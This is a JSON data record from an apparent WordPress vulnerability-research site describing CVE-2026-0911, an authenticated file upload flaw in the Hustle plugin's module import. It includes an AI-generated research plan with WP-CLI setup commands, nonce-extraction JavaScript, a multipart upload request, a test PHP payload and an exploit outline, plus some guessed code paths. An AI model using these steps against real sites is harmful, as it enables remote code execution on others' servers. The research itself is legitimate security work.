[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fc_GF6JZmWI0ewWkBu05s0jyk47GutGwHcVU-nINpHSY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-0911","hustle-authenticated-subscriber-arbitrary-file-upoload-via-module-import","Hustle \u003C= 7.8.9.2 - Authenticated (Subscriber+) Arbitrary File Upoload via Module Import","The Hustle – Email Marketing, Lead Generation, Optins, Popups plugin for WordPress is vulnerable to arbitrary file uploads due to incorrect file type validation in the action_import_module() function in all versions up to, and including, 7.8.9.2. This makes it possible for authenticated attackers, with a lower-privileged role (e.g., Subscriber-level access and above), to upload arbitrary files on the affected site's server which may make remote code execution possible. Successful exploitation requires an admin to grant Hustle module permissions (or module edit access) to the low-privileged user so they can access the Hustle admin page and obtain the required nonce.","wordpress-popup",null,"\u003C=7.8.9.2","7.8.9.3","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-01-23 23:49:25","2026-01-24 12:27:18",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F22be5fb5-143e-4934-9f93-e17def18e883?source=api-prod",1,[22,23,24,25,26],"assets\u002Fjs\u002Fadmin.min.js","inc\u002Fhustle-modules-common-admin-ajax.php","languages\u002Fhustle-en_US.po","popover.php","readme.txt","researched",false,3,"# Vulnerability Research Plan: CVE-2026-0911 - Hustle Arbitrary File Upload\n\n## 1. Vulnerability Summary\nThe **Hustle – Email Marketing, Lead Generation, Optins, Popups** plugin (\u003C= 7.8.9.2) is vulnerable to an **Authenticated Arbitrary File Upload** via the module import functionality. The vulnerability resides in the `action_import_module()` function, which is reachable through a common AJAX handler. The function fails to adequately validate the file extension or MIME type of uploaded files during the import process. If a low-privileged user (Subscriber+) is granted permissions to manage Hustle modules, they can upload a malicious `.php` file, potentially leading to Remote Code Execution (RCE).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `hustle_module_handle_single_action`\n*   **Vulnerable Function:** `action_import_module()` (called dynamically by `handle_single_action()`)\n*   **Authentication Required:** Subscriber-level (or higher) with the `hustle_edit_module` or `hustle_create` capability granted via Hustle settings.\n*   **Preconditions:**\n    1.  The attacker must have a Subscriber account.\n    2.  An administrator must have enabled \"Permissions\" for the Subscriber role in **Hustle > Settings > General > Permissions**.\n    3.  The attacker must obtain a valid AJAX nonce for the `hustle_module_single_action0` action (for new imports).\n\n## 3. Code Flow\n1.  **Entry Point:** The client sends a `POST` request to `admin-ajax.php` with `action=hustle_module_handle_single_action`.\n2.  **Route Handling:** In `inc\u002Fhustle-modules-common-admin-ajax.php`, the `handle_single_action()` method is executed.\n3.  **Nonce Verification:** The code calls `Opt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id )`. If `$id` is `0` (for a new import), it checks the nonce against the action `hustle_module_single_action0`.\n4.  **Method Dispatch:** The code retrieves the `module_action` parameter (expected to be `import_module`) and constructs the method name `action_import_module`.\n5.  **Vulnerable Sink:** `action_import_module()` is called. This function (located in the truncated portion of `inc\u002Fhustle-modules-common-admin-ajax.php`) processes `$_FILES['hustle_import_file']`. It likely uses `wp_handle_upload()` or a similar function with insufficient restrictions on the `test_type` or allowed extensions, allowing `.php` files to be saved to the `wp-content\u002Fuploads\u002Fhustle\u002F` or `wp-content\u002Fuploads\u002Fhustle-imports\u002F` directory.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized in the WordPress admin head within the `optinVars` JavaScript object.\n\n1.  **Grant Permissions:** Using WP-CLI, grant the Subscriber role the necessary Hustle capabilities to ensure the Hustle menu and scripts are loaded for them.\n2.  **Navigate to Listing:** Access the Popups listing page: `\u002Fwp-admin\u002Fadmin.php?page=hustle_popup`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the nonce from the global `optinVars` object.\n    *   **JavaScript:** `window.optinVars?.current?.module_nonce`\n    *   **Alternative:** If specific to the action, the nonce might be found in `window.optinVars?.current?.save_settings_nonce`.\n\n## 5. Exploitation Strategy\n\n### Step 1: User and Permissions Setup\nCreate a Subscriber user and grant permissions via WP-CLI.\n```bash\nwp user create attacker attacker@example.com --role=subscriber --user_pass=password\n# Hustle capabilities are usually managed via an option, but we can add them to the role\nwp cap add subscriber hustle_create\nwp cap add subscriber hustle_edit_module\n```\n\n### Step 2: Obtain Nonce\n1.  Login to the WordPress admin as the Subscriber.\n2.  Navigate to `admin.php?page=hustle_popup`.\n3.  Execute `browser_eval(\"window.optinVars.current.module_nonce\")` to get the nonce.\n\n### Step 3: Perform File Upload\nSend a multipart POST request to `admin-ajax.php`.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: multipart\u002Fform-data`\n*   **Parameters:**\n    *   `action`: `hustle_module_handle_single_action`\n    *   `module_action`: `import_module`\n    *   `id`: `0`\n    *   `nonce`: `[EXTRACTED_NONCE]`\n    *   `hustle_import_file`: (Binary data of `exploit.php`)\n\n**Payload (`exploit.php`):**\n```php\n\u003C?php\necho \"HUSTLE_UPLOAD_SUCCESS\";\nphpinfo();\n?>\n```\n\n### Step 4: Locate and Execute\nThe file is likely uploaded to `\u002Fwp-content\u002Fuploads\u002Fhustle\u002F` or `\u002Fwp-content\u002Fuploads\u002Fhustle-imports\u002F`.\nTest common paths:\n1.  `http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fhustle\u002Fexploit.php`\n2.  `http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fhustle-imports\u002Fexploit.php`\n\n## 6. Test Data Setup\n1.  **Plugin Version:** Ensure Hustle version \u003C= 7.8.9.2 is installed.\n2.  **User:** A user with role `subscriber`.\n3.  **Hustle Settings:** (Optional) If the capabilities check is strictly tied to plugin options rather than WP capabilities, use `wp option get hustle_settings` to find permission keys and set them via `wp option patch`.\n\n## 7. Expected Results\n*   The AJAX request should return a `success: true` response or a JSON response indicating the file was processed.\n*   Accessing the shell URL directly should execute the PHP code and return \"HUSTLE_UPLOAD_SUCCESS\" and the `phpinfo` output.\n\n## 8. Verification Steps\n1.  **Check Filesystem:** `ls -R \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F | grep exploit.php`\n2.  **Verify Execution:** Use `http_request` to GET the uploaded file path and check for the string `HUSTLE_UPLOAD_SUCCESS`.\n\n## 9. Alternative Approaches\nIf `module_nonce` is invalid for the `import_module` method, check for the nonce inside the \"Import\" modal in the DOM.\n1.  Navigate to Popups listing.\n2.  Click the \"Import\" button.\n3.  Inspect the hidden nonce field in the modal:\n    *   `browser_eval(\"document.querySelector('#hustle-dialog--import input[name=nonce]')?.value\")`\n    *   `browser_eval(\"document.querySelector('#hustle-dialog--import-module-submit-button')?.getAttribute('data-nonce')\")`","The Hustle plugin for WordPress is vulnerable to authenticated arbitrary file uploads due to insufficient file type validation in the `action_import_module` function. Low-privileged users, such as Subscribers who have been granted Hustle module permissions, can upload malicious PHP files during the module import process, leading to remote code execution.","\u002F\u002F inc\u002Fhustle-modules-common-admin-ajax.php\n\nadd_action( 'wp_ajax_hustle_module_handle_single_action', array( $this, 'handle_single_action' ) );\n\n\u002F\u002F ... (dispatcher logic) ...\n\npublic function handle_single_action() {\n\t$id            = filter_input( INPUT_POST, 'id', FILTER_VALIDATE_INT );\n\t$module_action = filter_input( INPUT_POST, 'module_action', FILTER_SANITIZE_SPECIAL_CHARS );\n\n\tOpt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id );\n\tOpt_In_Utils::is_user_allowed_ajax( 'hustle_edit_module', $id );\n\n\t$method = 'action_' . $module_action;\n\tif ( method_exists( $this, $method ) ) {\n\t\t$this->$method( $id );\n\t}\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-popup\u002F7.8.9.2\u002Fassets\u002Fjs\u002Fadmin.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-popup\u002F7.8.9.3\u002Fassets\u002Fjs\u002Fadmin.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-popup\u002F7.8.9.2\u002Fassets\u002Fjs\u002Fadmin.min.js\t2025-09-15 06:29:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwordpress-popup\u002F7.8.9.3\u002Fassets\u002Fjs\u002Fadmin.min.js\t2026-01-16 12:13:04.000000000 +0000\n@@ -1 +1 @@\n-!function(){var e={146:function(e,t,i){var s=i(5842),n=i(5413);Hustle.define(\"Settings.View\",... (truncated)","1. **Authentication**: Log in as a Subscriber-level user (or higher) to a WordPress site where the Hustle plugin is installed.\n2. **Prerequisites**: Ensure an administrator has granted the Subscriber role 'Hustle module permissions' (specifically the `hustle_edit_module` or `hustle_create` capabilities) in the plugin's settings.\n3. **Nonce Acquisition**: Navigate to the Hustle Popups listing page in the admin dashboard and extract the AJAX nonce from the global `optinVars.current.module_nonce` object or from the Import Module dialog's metadata.\n4. **Malicious Request**: Send a multipart POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the action `hustle_module_handle_single_action`. Include the parameter `module_action=import_module`, `id=0`, the captured nonce, and a malicious PHP file in the `hustle_import_file` parameter.\n5. **Remote Code Execution**: If successful, the file is saved to the server's uploads directory (typically `wp-content\u002Fuploads\u002Fhustle\u002F` or `wp-content\u002Fuploads\u002Fhustle-imports\u002F`). Access the PHP file directly via its URL to execute code.","gemini-3-flash-preview","2026-05-05 01:01:11","2026-05-05 01:01:44",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","7.8.9.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwordpress-popup\u002Ftags\u002F7.8.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwordpress-popup.7.8.9.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwordpress-popup\u002Ftags\u002F7.8.9.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwordpress-popup.7.8.9.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwordpress-popup\u002Ftags"]